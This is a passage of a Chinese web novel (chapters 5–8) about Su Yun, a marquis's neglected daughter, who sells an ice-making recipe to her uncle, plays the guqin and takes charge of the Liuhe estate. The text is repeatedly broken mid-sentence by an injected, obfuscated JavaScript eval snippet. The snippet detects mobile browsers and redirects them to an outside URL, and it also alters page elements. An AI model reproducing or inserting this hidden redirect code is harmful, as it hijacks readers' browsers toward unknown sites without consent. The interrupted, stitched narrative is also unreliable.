苏云道：“现在已经四月，天气就快热起来，我们可以靠这个方子，赚上一笔。只是这个方子很简单，太容易仿制，所以我们一定不要在外面去说。”王嬷嬷和娟儿当然知道，以后的好日子，就要靠在这盆冰上，于是齐声道：“奴婢省得的。” 不一会，杨家小子、二狗几个小孩子在门口叫门，原来娟儿昨晚回来就告诉了他们，让他们捡些花石子来，要给他们买下。杨家小子一大早带着一群小孩，又去河边捡了好一阵，每人捡了十多颗，就来找娟儿要钱。 苏云让他们进来，第一次进小院子，一群脏兮兮的孩子显得有些局促，虽然院子比较陈旧，但对于这些穷苦人家的小孩来说，除了庄头的院子可以比一下以外，比自家的茅草棚还是华丽不知道多少倍，现在侯府小姐面容和善，再加上龙王让螃蟹跑路的事，他们已经有点像看仙女一样看待苏云了。 看到一群衣衫褴褛的小孩，苏云微微有些心里不好受，忙叫娟儿端了一碟点心过来让他们吃，每个人分了一块糕点。杨家小子两口就吃完了，二狗掰开，吃了一小半，另一半揣了起来。苏云知道，这肯定又是给他妹子留着的，心里感叹。也没多说别的，直接让杨家小子拿出花石子，十多颗花石子，按照大小成色，分别估价，有一颗特别好看的，个头也大，就算给了他五文一颗，当然，有些次一点的，就算成了一文，这样，十多颗花石子总共给了二十八文，把杨家小子高兴坏了。要知道，成年人到县里打工，忙碌一天，也就二十文，这相当于一个壮劳力差不多一天的工钱了。其他小孩脸上也充满渴望，纷纷要苏云看自己的。苏云笑笑，一个一个看，一个一个算，最后，小孩们都得到不少钱，欢天喜地的跑回家去了。 看着桌上一堆五光十色的花石子，娟儿一边翻检这看，一边乐得大叫：“小姐，这么多花石子，我们又能卖好多钱了。”王嬷嬷笑骂：“鬼灵精的小丫头，还不赶快收起来。”娟儿笑着找了几个小口袋，按照大小不同把这些石子收了起来。 苏云道：“娟儿，你告诉杨家小子，以后每天上午只收一次，而且每人最多只收五颗。”娟儿不解：“小姐，孙掌柜不是说有多少收多少吗，为什么每天只收这么一点？”王嬷嬷笑道：“这个你就不知道了，今天的消息传出去，以后不仅是小孩，就是大人也会去捡花石子的，每人给你送几百颗，你收得过来吗？”娟儿想想也是。苏云又道：“这个买卖不会长久的，毕竟河边上的花石子就这么多，再过几日，送过来的就会越来越少了。这不是长久之计，只能暂时过渡一下而已。” 就这样又过了三天，由于伙食大为改善，苏云她们的脸上都开始肉眼可见显现出几许红润了。经过锻炼，气力并没有增加多少，但是扔石子的准头却越来越好。苏云信心大振，锻炼更加刻苦起来。 这日午后，一辆马车在柳河边渡口停下，从车里下来一个衣着华贵，身材胖胖的中年人，后面跟着一个长随打扮的汉子。长随大声道：“船家，请问这是柳河庄吗？”何老头正在对岸船上打盹，听得问话，也大声道：“正是，客人这是要进庄子吗？”汉子道：“正是。” 何老头起身划船，不消片刻就到了对岸，道：“客官请上船。”两人上得船来。何老头道：“客官这是要到庄子里找人？”胖胖中年人道：“正是，我家外甥女就在庄上。”何老头道：“不知是哪家闺女？”中年人道：“正是苏家小姐。”何老头道：“想来也是，庄子上除了苏小姐，不会再有人是客官的外甥女了。”何老头有唠唠叨叨说着苏云关于龙王嘱托的事情，中年人也不答话，只静静听着。没一会，何老头话还没说尽兴，船已经到了对岸。 中年人下船道：“多谢老人家。”汉子忙掏出几文钱给何老头，何老头双手乱摆道：“不能收，我就是专门撑船的，伙食都是庄子上乡亲们安排的，真不能收。”中年人推让了几句，何老头坚决不收，只得作罢。又问了苏云的住处，带着汉子找上门去了。 这几日苏云闲着无事，又不像以前一样出去乱晃，于是在家里翻找出了一架古琴，有些陈旧，好在音色着实不错，于是让嬷嬷清理干净，调好琴弦，试着弹奏起来。虽说以前没有弹过古琴，但是看过别人弹，详细的技法不清楚，但是有琵琶的底子，很快就弄通了一些基本的原理，试着摸索了一阵，居然能弹琴成调了，把王嬷嬷和娟儿唬得一愣一愣的。被撵出侯府之时，苏云尚小，并未来得及学习古琴。离开侯府之时，由于古琴是母亲之物，于是也一并带来了庄子上。只是这些年从来没有摸过，现在苏云能摸索着弹琴成调，怎不让王嬷嬷和娟儿吃惊。 娟儿不知怎么突然来了兴趣，找了一截香点燃，屋里很快弥漫起淡淡的清香。苏云被这气氛感染，弹了一首舒缓的《茉莉花》，优美的曲子响起，娟儿都听呆了。 一曲完毕，屋里一片寂静，娟儿和王嬷嬷都还没有回过神来，忽然听得外面有人敲门，王嬷嬷这才猛地一震，忙快步去开门，不一会儿回来汇报：“小姐，舅老爷来了。” 苏云一听，忙道：“快请。”赶紧起身，匆匆整理了一下衣服，王嬷嬷就领着胖胖的中年人就进来了。 舅舅面白无须，一身书卷气，不像是商贾，倒像是一个儒雅的读书人。 苏云赶紧上前福了一礼，语带哽咽叫了声：“舅舅。”胖胖的中年人一看苏云，脸庞酷似亡姐，也颇感伤，赶紧道：“云儿免礼。”声音也有些发颤，于是分宾主坐下，娟儿赶紧上茶。 苏云道：“几年未见舅舅，云儿心里想念得紧，舅舅远途而来，真是辛苦了。”舅舅道：“当年你母亲带你回家看忘外祖母，你才堪堪四、五岁，如今已经长成大姑娘了，可惜你母亲走的早，她要是泉下有知，看到你现在模样，也可以安息了。”说起往事，两人着实伤心了一阵。 待得情绪平定一些，苏云道：“舅舅此次进京，想必是有生意要忙，不知道能呆多久？”舅舅道：“此次进京，主要是有点生意上的事情要处理，有点棘手，于是去侯府拜访了你父亲，好在侯爷还认我们这门亲戚，出面办妥了。以前也去拜访过侯府，也想着跟老太君请安，都被大夫人挡了回来，也曾问起你，只说是你的八字与老太君相冲，要在庄子上养几年，也不知具体在哪里，所以这些年都不曾来看过你。准备的物事，也是托苏贵代劳，昨日准备回青州，不想苏贵找到我，说是云儿有话，今日一早就赶过来了。带了一些小玩意，云儿不要嫌弃。”说完，让长随把一个大大的包袱拿上来。王嬷嬷看了苏云一样，见苏云微微点头，于是接了过去。 苏云心中明了，微微欠身道：“柳河庄偏僻，有劳舅舅了。多谢舅舅厚赏。” 舅舅又道：“都是些小玩意，不值当谢。听说前几日你落水，有一番奇遇？”苏云道：“正是。”于是又把龙王的故事讲述了一遍。舅舅抚掌道：“大难不死，你有这番际遇，日后必然大富大贵，一生顺遂。” 苏云道：“此次柳河经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205735|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历，虽有些因祸得福，但也给我好大包袱。龙王要我把柳河庄变得人人不缺吃喝，不缺衣穿。云儿一介稚童，不受侯府喜爱，自顾不暇，也不知能做些什么？”舅舅道：“既然龙王看好你，必然有他的道理。” 苏云道：“这几日茶饭无味，端的是怕有负龙王之托。我家大夫人管理侯府中馈，你也知道，大夫人待甥女并不亲厚，侯府是指望不上的。这次请舅舅来，一是叙叙亲情，二来也有求助之意。舅舅放心，不会白白让舅舅为难。龙王给了我一个夏日制冰的方子，随时可制冰，云儿年幼不识货，想请舅舅把把关，看看转让的话，能值多少银两？” 天气已经慢慢热起来，夏日制冰，必是一门不错的生意。大户人家虽说有冰窖，但冰窖的造价着实不菲，非是顶级人家，也是望洋兴叹，夏日冰块存量极其有限。若是随时能制出冰来出售，这笔买卖真可以说赚得盆满钵满。 舅舅心里一热，但神色间并未表现出来，道：“夏日售冰，自是一门好生意，只是不知成本几何？”苏云道：“所费甚少。”舅舅道：“如此，这个方子三千两银子应是可以的。” 苏云笑笑：“舅舅不急，请先安坐，我先去做点冰镇饮品。”让王嬷嬷照看着，自己则与娟儿去到了别的屋里，等了一刻钟，只见苏云端着一个托盘出来，上面放了两个碗，碗里面有大小不一的果脯肉块，娟儿在后面，也端着一个盆子，里面还有不少冰块。 王嬷嬷赶紧上去，端了一碗水果饮品，放在舅老爷面前。苏云放下托盘坐下，端起碗递过去道：“这是冰镇水果，现在已是春末夏初，应当可以入腹，舅舅请品尝一二。”舅舅端起小碗，里面果肉有黄有白有红，想是用了不同果肉，煞是好看。也禁不住用汤匙舀了一勺，送进口中，顿觉满嘴冰凉，暑气即消，果肉酸甜，果然十分可口。舅舅道：“果然爽口，若是再等一月之后，天气炎热，此饮品必为上上之选。” 苏云道：“方才听舅舅言，此制冰方子如果转让，可值三千两。此方子是龙王所授，云儿不敢欺瞒，想用此方子为起点，改造柳河庄，完成龙王嘱托。只是三千确是少了些，云儿私下以为可以在万两上下。我想拍卖试试看，不知舅舅以为如何？”舅舅大吃一惊，心道：“这还是我那个娇蛮任性的外甥女吗？什么时候如此有主见了？如果真拿去拍卖，两万两银子只怕也有人抢着要。”忙道：“如果云儿有意转让，舅舅倒是可以五千两拿下。” 苏云笑笑，道：“舅舅，你我甥舅，自是一家人，不过常言道：亲兄弟，明算帐。又道：生意不成仁义在。云儿只怕有负龙王之托，五千两办不了什么事情。”舅舅道：“不知云儿觉得多少合适？” 苏云道：“这个方子虽说简单，但夏日倒也是不可缺少的，成本很低，今年卖了，明年还可以卖。虽说难保方子最终不外泄，但独占市场三五年应该是没有问题的。以后就算方子外泄，还可以继续卖，只是竞争大了些，有了自己几年积攒的名气，用心经营，也不是无钱可赚。而且可以和别人划分地盘，这样也还可再独占几年。” 如此长远考量，居然滴水不漏，舅舅听得大惊失色，暗赞外甥女的商业头脑。当然也从话中感受到苏云的意图。于是并不言语，等苏云继续说。 苏云继续道：“此方子若是拿去拍卖，虽说麻烦很多，但两万想来不是什么难事，若是舅舅诚心要，不妨开出一个都能接受的价格来。”舅舅完全收起了小觑之心，不敢再把苏云当成小孩，道：“云儿说得不错，有此等好方子，云儿首先想到舅舅，舅舅岂能不领情。只是舅舅最近生意上多有些麻烦，两万两的确有些囊中羞涩。” 苏云笑笑：“舅舅多虑了。不管怎么说，云儿是舅舅外甥女，虽说商人重利，但我们到底是一家人，打断骨头还连着筋呢。以后相互帮衬的时候必然不少，断不会为了这一个方子伤了和气。云儿这样想的，说与舅舅，舅舅不妨听听，就算生意不成，也望舅舅不要生气。” 6. 第 6 章 6、琴痴舅舅 舅舅道：“云儿请讲。” 苏云道：“方子舅舅若是诚心想要，不妨加一点价，毕竟要改善庄子，也是必须要有启动的本钱。云儿的意思，不妨按照八千两来算，舅舅你看如何？” 舅舅心里一喜，他的估计是一万五，现在只需一半即可拿到方子，自然是求之不得，心想这外甥女毕竟年幼，不知道方子的重要。故作踌躇道：“这个价格嘛，嗯嗯，云儿是知恩图报之人，银子也是为了大家，既然龙王有托，这个价格舅舅可以出。” 苏云笑道：“多谢舅舅体谅云儿的苦衷，这里就谢过舅舅了。不过云儿还有两个条件。”舅舅忙道：“请讲。” 苏云道：“这个价格舅舅可以用，但并不是完全买断。当然，我不会再卖给别人，不过我自己还是可以制冰来卖的。”按照当时习惯，既然出售了，一般就是完全买断，就是出售方也不能再用。但想到这个价格只有一半，苏云不过是深闺中的小女孩，只要不把方子说出去，应该不会有什么大的影响，于是爽快答应：“这个可以，舅舅无异议。请说第二个条件。”苏云道：“第二嘛，也不算什么条件，就是云儿很久没见到舅舅了，常言道外甥似舅，想念得紧。希望舅舅能在庄子上再盘桓两日。这两日说不定还有事情需要舅舅鼎力相助。” 舅舅道：“住两日不算什么，不知有何事需由舅舅相助？”苏云道：“对舅舅而言，算不得什么大事，只要舅舅答应就好，至于事情，到时候舅舅自然知晓。云儿这个小院太小，又破旧，且均是女子，不好让舅舅留宿。”回头对王嬷嬷说：“一会子你带舅舅他们去庄头家，在他们家投宿吧，想来舅舅不会介意的。”舅舅想想也是合情合理，道；“正当如此。” 苏云又道：“生意场中，重在恪守信誉。你我虽是甥舅，也当立契约，各自放心。”舅舅本就有此意，只是碍于情面开不得口，听苏云这么一说，立马放心。 苏云拿来纸笔，当场书写了一份契约，主要言明不得将此方子转让第三人。舅舅看字体流畅娟秀，不禁有些感叹，暗想外甥女孤零零在庄子上，又无人教导，居然能写出这手好字，真不知是怎生得来的，本不太相信孙云关于龙王的传说，但现在不由开始疑心真有龙王的奇遇了。 苏云又道：“我们主仆三人，蜗居小院，断不敢有几千两银两随身。若是舅舅方便，还请舅舅给我两百两散银，其余都换成银票，且只要临清县的，方便日后取用。不知舅舅为难否？”苏云见舅舅和随从包袱并不沉重，想是随身带的银票。 舅舅道：“此事不难，我先给你银票，剩下的银子，明日让长随换成散碎银子即可。只是你们三个女流，切记不要流出风声，免得引来贼人窥视，需万事小心。”苏云道：“云儿省得的，多谢舅舅。” 事毕，想起刚才在院子外面听到的琴声，看看时辰还早，舅舅起身，抚摸旁边的古琴道：“这把古琴是当年你母亲心爱之物，看到她，免不得又想起她在娘家时的日子。”苏云忙道：“此琴随我们到庄子已经五六年了，一直不曾弹过，以致有些破旧之象，实属云儿的过错。今日无聊，思念母亲，这才拿出来试试。好在母亲离世前曾教授过一些弹奏之法，今个试试，还不曾忘记。”舅舅道：“适才在院外听到一首曲子，十分优美，以前并不曾听过，不知曲子何名？” 苏云道：“随手乱弹，舅舅谬赞。曲名《茉莉花》，是一首乡村俚曲，舅舅见笑。”舅舅道：“此曲旋律优美，颇有韵味，不似乡野小调。不知云儿可否再弹奏一遍？”苏云道：“敢不从命！”于是起身，坐在古琴旁，试了试琴音，开始弹奏《茉莉花》，这一遍已然熟悉，加了一些变化，比之前弹奏，显得行云流水，乐声更显丰富，竟又好了几分。 舅舅自小喜爱音律，琴棋书画，都有涉猎，走南闯北，见识不凡，见外甥女琴技虽不算精湛，但乐曲甚是好听，便讨要曲谱。苏云瞬间头大，忘了这一茬。前世她只会简谱，五线谱也懂一点，但这个时代的什么宫商角徵羽，她哪里搞得清楚。于是苦笑道：“云儿才疏学浅，并不会记录曲谱，只是常听乡人哼唱，这才记下来弹奏，实在没有曲谱。” 舅舅有些吃惊，不过这也难不倒他，旋律并不复杂，听过两遍，旋律大致也在心中，只是有些细节不是很清楚，于是道；“那舅舅自己来记录，只是有些地方还不是很明了，要烦请云儿再弹奏一遍。”苏云总算松了一口气，又弹奏了一遍。舅舅笔走龙蛇，很快记录了下来。苏云看了看，满纸奇奇怪怪的符号，一脸茫然。舅舅知道苏云看不懂，就耐心为她讲解，有问有答，一顿饭功夫，苏云基本搞清楚了曲谱的记法。 苏云知道舅舅擅长音律，便请舅舅也弹奏一曲，舅舅欣然同意，也弹奏了一曲刚才的《茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舅舅一边看，一边哼唱，只觉得不仅旋律优美，歌词也相当亲切上口，如获至宝，简直比得到制冰方子还要兴奋，喜道：“云儿，此曲只应天上有，哼唱此歌，虽是没有到过水乡之人，也能想象出凉风扑面，手摘荷花之感。若是流落在外的水乡之人，此曲一响，必定思乡。你又在何处得来的此歌？”苏云只得推说是龙王处听来的。舅舅一听，也对，龙王给的，这不就是天上来的吗？ 舅舅道：“玉湖水浪打浪，旋律甚是优美，只是古琴弹奏，似觉过于单调，若是用扬琴、琵琶，浪打浪的效果应该更好。云儿，你还有什么曲子没有？”苏云心理叹服，心想，几百首曲子总是有的，只是怕舅舅没完没了，赶紧道：“龙王处还听得一些，只是不太记得真切，尚需想想。”看看舅舅急切的神情，笑道：“舅舅莫催，等过些日子，整理好之后，必定弹给舅舅听。”舅舅有些失望，但也知道不能催得太急，只得作罢。 舅舅正在弹奏新曲，突见王嬷嬷进屋来，道：“小姐、舅爷，苏贵来了。”“终于来了。”苏云心想，赶紧吩咐请进来。 7. 第 7 章 7、管理权 苏贵进得屋来，见舅舅也在，赶紧和二人见礼，分宾主落座。娟儿奉茶。 寒暄几句后，苏贵道：“前几日回府，按照小姐交代，幸不辱命。管理农庄之事，侯爷起初并不是很愿意，后来二少爷找过侯爷，还请示了老夫人，侯爷这才松了口，这不，让我来给小姐传个话。”苏云微微一笑，道：“管理农庄之事，父亲大人是怎么交代的？”苏贵道：“侯爷说了，让小的找到庄头，把事情吩咐下去。以后柳河庄的大事小情，就由小姐做主，但必须保证年终的租子银两等物，不能少于上一年。” 苏云道：“这个自然，不劳父亲担忧，断不会短了侯府的进账。” 苏贵从怀里掏出一个包袱道：“二公子看了小姐的信之后，既是欣慰又是感伤，听说每个月只有二两月例，怕小姐主仆不够用，就从自己的月例中拿出了十两贴补小姐，言道二哥月例也不多，目前只能给这些，望妹妹不要嫌弃。” 王嬷嬷看了一下苏云，见苏云微微点头，于是上前接过。苏云道：“二哥有心了。偌大侯府，还记得我这个不受宠的妹妹，也只有二哥。请贵叔转告二哥，月例收到，真的是及时雨，二哥的好，妹子不会忘记的，妹妹感谢二哥惦念。等以后回到侯府，再和二哥叙谈。” 然后对王嬷嬷道：“嬷嬷去把庄头请过来吧，趁大家都在，让苏管家把事情交代清楚。”王嬷嬷出去，不多时，带着庄头和管事进来，躬身见礼。 庄头姓张，是个五十多岁的黑脸汉子，满脸风霜，身体健壮，看起来憨厚踏实。庄头道：“不知小姐相招，所为何事？”苏云道：“前些日落水，蒙龙王相救，需完成龙王所托。将此事告知了父亲，父亲感念龙王恩典，复念龙王之托，怕我行事不方便，遂将柳河庄交由我打理。” 庄头和管事大惊，看看苏云稚嫩的脸庞，心中不免怀疑，却又不好做声，眼睛却看向苏贵。苏贵是侯府二管家，他的态度，自然代表了侯府的态度。苏贵道：“侯爷的意思正是如此，以后柳河庄的一应事务，都交由小姐做主。” 庄头虽贵为一庄主持，但说到底，也只是为侯府打理产业的奴才，苏云虽不受侯府待见，却总是正经的主子，既然侯府已经做出了决定，他也自然无话可说。只是管事的一脸担忧，却不敢言语，苏云见状，客气道：“张伯在柳河庄经营多年，这些年的辛苦本小姐都看在眼里。以后虽是由我管理庄子，但毕竟年轻识浅，第一次处理诸多事务，还得请庄头从旁多多提点才是。”庄头忙道：“小姐谬赞，协助小姐是我等份内之事，敢不尽心！”又道：“既然庄子以后归小姐管理，我等这就去将账本取来。”苏云知道庄头的意思，道：“不急这一时，今日舅舅和苏管家都在，且待明日吧。”庄头应诺，带着管事出去，苏贵也紧跟着出去了。 舅舅这才知道为什么苏云要将他留下，原来是为她撑场子，虽说自己一句话没说，但站在那里，在外人看来，就是为她撑腰，暗想小丫头心思玲珑。但想一个十二岁的小姑娘，要管理诺大的一个庄子，其中难处可想而知。心中也颇为担忧，问道：“云儿，没想到你有这么大的手笔。我昨日转过，这庄子虽然看起来山清水秀，但良田着实不多，你要怎样才让庄子富足起来？”苏云到：“个中情形，我岂不知？且不说庄子薄田居多，就算都是良田，又能产出多少粮食？除去上交侯府的粮产，能够维持温饱已属不易。云儿私下盘算，要想庄子富足，必不能只靠几亩薄田，还得落在一个商字上面。只是经商一道，舅舅轻车熟路，以后少不得要请舅舅帮忙。” 舅舅大为惊讶，小小女孩，居然有此见识。柳河庄相对荒僻贫瘠，庄民忙碌一年，也仅仅勉强维持温饱，要想富足，经商一道确是正途。想来苏云已有盘算，就没再言语。 正好长随回来，于是将银票和碎银交割完毕。看来此间大事已了，多留无益，天色尚早，拿上曲谱和制冰方子，便不再久留，说道以后有事可着人找自己，留下地址后，便告辞而去。 王嬷嬷和娟儿也是忧心忡忡。小姐年纪幼小，以前又一直没有管理庄子的经验，再加上如果庄头不合作，后续的工作难度不知道会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205737|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多大。 苏云看出她们的顾虑，端起茶杯，喝了一口，笑道：“你们也不必担忧，我已经想好，不会有什么阻碍的。嬷嬷，你将银票和银子找一个稳妥的地方放着，且不可走漏风声，免得招来麻烦。”王嬷嬷连声答应，苏云坐在琴边，弹起曲子来。 翌日早饭后，苏贵求见，庄头和管事也抱着账本进来， 庄头道：“昨日苏管家已经言明庄子由小姐打理，回去之后我们把近三年的账本整理好，今日特来给给小姐过目。”苏云看了一下王嬷嬷，王嬷嬷上前，从管事手里接过账本，捧在怀里，退在一边。 苏贵见他们要谈正事，于是起身道：“小姐和庄头有正事要谈，如果没有什么事，小的这就回去复命了。”苏云起身，略略点头，拿出两封信交给苏贵：“烦请贵叔交给父亲和二哥。”苏贵道：“理当如此。”苏云道：“此次之事也多谢贵叔。既然贵叔事忙，就不留贵叔了，嬷嬷，你送送贵叔。” 王嬷嬷会意，送苏贵出门，两人一直走到河边。王嬷嬷道：“贵叔也看到了，小姐在柳河庄处境艰难，日子并不好过，侯府不管，幸得到底还有亲舅家帮衬，想是日子以后会松快些。只是这小姐受到舅家庇佑，传出去，恐对侯府声名有损。” 苏贵一点就通，道：“嬷嬷放心，苏贵不是多嘴之人，只要侯府不问起，自不会多说一个字。” 王嬷嬷点头，掏出一个小香囊递给苏贵，道：“如此甚好。这些年亏得贵叔照应，这是小姐的意思，请贵叔喝茶。” 苏贵唬了一跳，知道这是封口费，双手乱摆：“嬷嬷哪里话，在下只是侯府下人，也是遵命办事，怎能受此大礼，能看到小姐过得好，在下也是很高兴的，万万不敢受此大礼！” 王嬷嬷一定要给，苏贵见河对面已经有人在等着坐船，怕推搡不好看，只得收下道：“如此多谢小姐和嬷嬷了，请小姐放心，在下必不会胡说的。”王嬷嬷一直等苏贵上船，看了看对岸的刘老五父子，这才回转。船上，苏贵捏了捏香囊，硬硬的，大约有二两，心里也颇是高兴。 8. 第 8 章 8、 侯府债务 苏贵快马加鞭，傍晚时间已经到了京城。看这天色已晚，便直接回家，准备明天再去侯府复命。 苏贵在侯府也是有房间的，但却在外面安家，有一处两进院子。平日忙起来的时候，都在侯府歇息，不忙的时候，也回家看看。 走进院门，只见女儿在绣着手帕，媳妇正带着小儿子在玩耍，见他回来，女儿也放下绷子，媳妇忙牵着孩子迎上前来，一边道：“当家的回来了，吃饭了没有，厨房里还有饭菜，我去跟你热热。”就和女儿一起去了厨房。小儿子也就五、六岁，扑向父亲，口中叫着：“爹爹。”苏贵满脸笑容，牵起儿子的手道：“迅儿，今日有没有去学堂好好读书？”苏迅道：“有的，夫子夸我字写得比原来好！”苏贵道：“我家迅儿最乖！”抱起来，巴巴亲了一口，结果苏迅忙别过头去：“爹爹胡子扎得好痛！”苏贵哈哈大笑。 母女摆好晚饭，女儿去带弟弟玩，媳妇倒了一杯酒道：“当家的，奔忙一天，喝杯酒暖暖身子。”苏贵很满足，也倒了一杯酒，递给媳妇：“你也辛苦了，也喝一杯。”媳妇也就坐下，陪了一杯。 一杯酒下肚，苏贵掏出苏云给的小香囊，递给媳妇：“这是今天小姐赏的，你且收下。”媳妇接过来，打开看了看，奇道：“你不是说小姐过得很拮据，衣服都又旧又破，怎么会赏你这许多银子？”苏贵夹了一筷子菜，送到嘴里，道：“那是过去的事情了。小姐舅舅去了柳河庄，想是看着外甥女过得不如意，舅老爷随便给一点，都够她们过上好日子了。”媳妇附和道：“那是，舅老爷是江南富商，这点银子不算什么。不过，这小姐说起来也着实可怜，好歹是侯府嫡小姐，从小没了娘，还被发配去了庄子那么多年，每月二两银子，过得还不如一般人家。” 苏贵喝了两杯酒，话多了起来道：“当然不够。其实不是二两，呵呵。”突然意识到说漏了嘴，也就不再言语，媳妇好奇追问，苏贵只是不说，埋头吃菜，媳妇也只得作罢。 次日一早，苏贵到侯府，只见五、六个人围着门房在说着什么，见他走来，门房忙过来道：“二管家你可来了，这些人是商铺老板，说是大公子欠了他们的钱，来要账的。”几个人手里拿着纸单，也上前道：“苏管家，大公子欠我们铺子的银两，时间不短了。铺子都是小本经营，拖不起啊，要不请大公子把账结了？” 苏贵见人多，而且这种情况见过不少次，每次都是带到侯夫人处结账的，便道：“诸位不必担忧，堂堂侯府，不会差你们银子的，跟我走吧。”带着众人去了主屋松竹苑。 松竹苑内，侯夫人罗氏正在为侯爷一边穿衣，一边道：“礼部最近没听说有什么事，不忙的话，侯爷可以晚点去吧？”这侯爷端的生得好生俊朗，四十上下年纪，若不是蓄有微须，和三十岁人没有分别，这番容貌气度，在礼部也算得上是第一人。侯爷道：“你哪里知晓，最近虽没多少事，但二皇子刚立为太子，各部都得小心谨慎，生怕出点纰漏，让人抓着把柄，一切都得小心着。”侯夫人道：“那我去叫平儿起来，送送你。”侯爷忙道：“切切不可，小孩子要多吃多睡，才长得高壮，这些虚礼就不用管了。”侯夫人嗔道：“就你惯着他。” 只见院子里陆续来了人，周姨娘、卢姨娘，二公子苏琦、三小姐苏珏、五小姐苏环、六小姐苏黎、七小姐苏嫣，八小姐苏琏，还有表小姐罗媛媛都款款而来，今天是初一，每月一次的后辈请安。 侯爷扫视了一下，道：“大公子呢？”下面的人都默不作声。侯爷怒道：“别人都到了，就他金贵，这厮就如此不懂礼数？”正要让人去叫，忽见苏贵带着一帮人进来，问道：“有何事？”苏贵上前行礼，道：“回侯爷，这几人在侯府大门口，说是大公子欠他们店铺银两，来结账的。”侯夫人出来，呵道：“忒不懂事，这点小事，如何惊动侯爷？让他们去偏厅候着，我一会自会过去。”侯爷道：“欠账？谁人欠的账？我倒要看看欠了什么账，让人家追到府里来。”指着一个管事模样的人道：“大公子欠了你们什么？”管事道：“回侯爷，小人是酒庄管事，这个月公子带着朋友在小店花费了十二次，一共花销八百二十五两三钱，这是账本，都有签名的，请侯爷过目。” 侯爷接过账本，随手翻了翻，又问另一个：“你呢？”那人拿着账簿上前道：“回侯爷，在下是奇珍阁的掌柜，贵公子在小店买了头面首饰，一共应给一千二百十五两六钱银子，已经快两月，小店小本经营，实在拖不起了，这才腆颜来找贵府结账。”侯爷大怒道：“狗屁头面首饰，他一个大男人，要这许多头面首饰何用？”奇珍阁掌柜喏喏，没有言语。侯爷指着一个小厮道：“快去，赶快去把这个孽畜给我绑过来！”小厮赶紧点头，转身就走，刚到门口，就见大公子苏进带着一个随从进来。 侯爷高声喊道：“孽畜，来看看你做的好事。”大公子一见院子里的这些人，就知道是来讨债的，不敢说话，慢慢走到侯爷面前，低头叫了声：“父亲。”侯爷把账本递给他，厉声斥道：“你说，你母亲缺了你的月例银子？如何到处欠账，你一个大男人，买一千多两银子的头面来做什么？你是要去南院唱戏吗？”大公子苏进也吓了一跳，接过账本，翻了翻道：“父亲，儿子是买了一点首饰，可绝对没有这么多啊，我。。。。”还待解释，侯夫人打断了他的话道：“侯爷消消气，进儿还小，慢慢教导就是，也不是什么大事，气坏了身子不值当。”苏环、苏嫣见侯爷发怒，竟害怕得低着头，身子有些发颤起来。 侯爷转头吼道：“二十多岁，都当爹的人了，还小？你贤惠，你就惯着他吧！这般花银子，就算侯府是座金山，只怕早晚也要被这孽畜搬空。看你以后怎么给他擦屁股！哼，我不管了，你去收拾吧！”说罢，气冲冲大步而去。 侯夫人柔声道：“这么早，你们都来过了，两个妹妹也忒客气。都是孝顺的好孩子，今天就不用请安了，进儿留下，其余都散了吧。”两个姨娘见情形不对，不好久呆，和几个子女都应了一声，默默退去。夫人的贴身杨嬷嬷对几个要账人道：“不好意思，让诸位看笑话了，请移步偏厅稍坐，喝杯茶，夫人这就来和诸位结算。” 两个姨娘和几位小姐出得松竹苑，苏环抚胸道：“从没见过老爷这样发怒，真有些胆颤。”苏琏道：“五姐姐不用担心，反正老爷也不是冲我们，我们只管注意平日言行即可。”表小姐罗媛媛道：“正是，难得今日姨娘和姐妹们都在，莫若去花园转转？”几位小姐都点头，苏琦道：“两位姨娘，各位妹妹请自去，愚兄还要回书房读书去。”说完告辞而去，苏贵赶紧跟上去，把苏云的信交给他。 苏琏道：“二哥哥也真是，也不陪妹妹们叙叙话。”罗媛媛忙道：“二表哥明年下场，想是还需加倍用功，也怪不得他。”苏珏知道她的心思，也不多言，只道：“无事，我们且去花园坐坐。”自有婆子丫鬟前去布置茶点。 现在已是春末，百花尚在，花园里姹紫嫣红，很是别致。姨娘和几位小姐在花园凉亭坐定，一边赏着春色，一边吃着茶点，一边闲聊，好不惬意。 卢姨娘道：“三小姐今年已十三有余，不知夫人是否已经替二姐姐相看人家了？” 苏珏霎时脸红，埋头不语。 周姨娘道：“想是侯爷和夫人都记在心上，已经暗暗相看了也说不定。” 苏琏道：“三姐姐貌若天仙，才情过人，也不知谁能当上我们三姐夫？” 苏珏羞得满脸通红，作势要打，道：“死妮子，小小年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 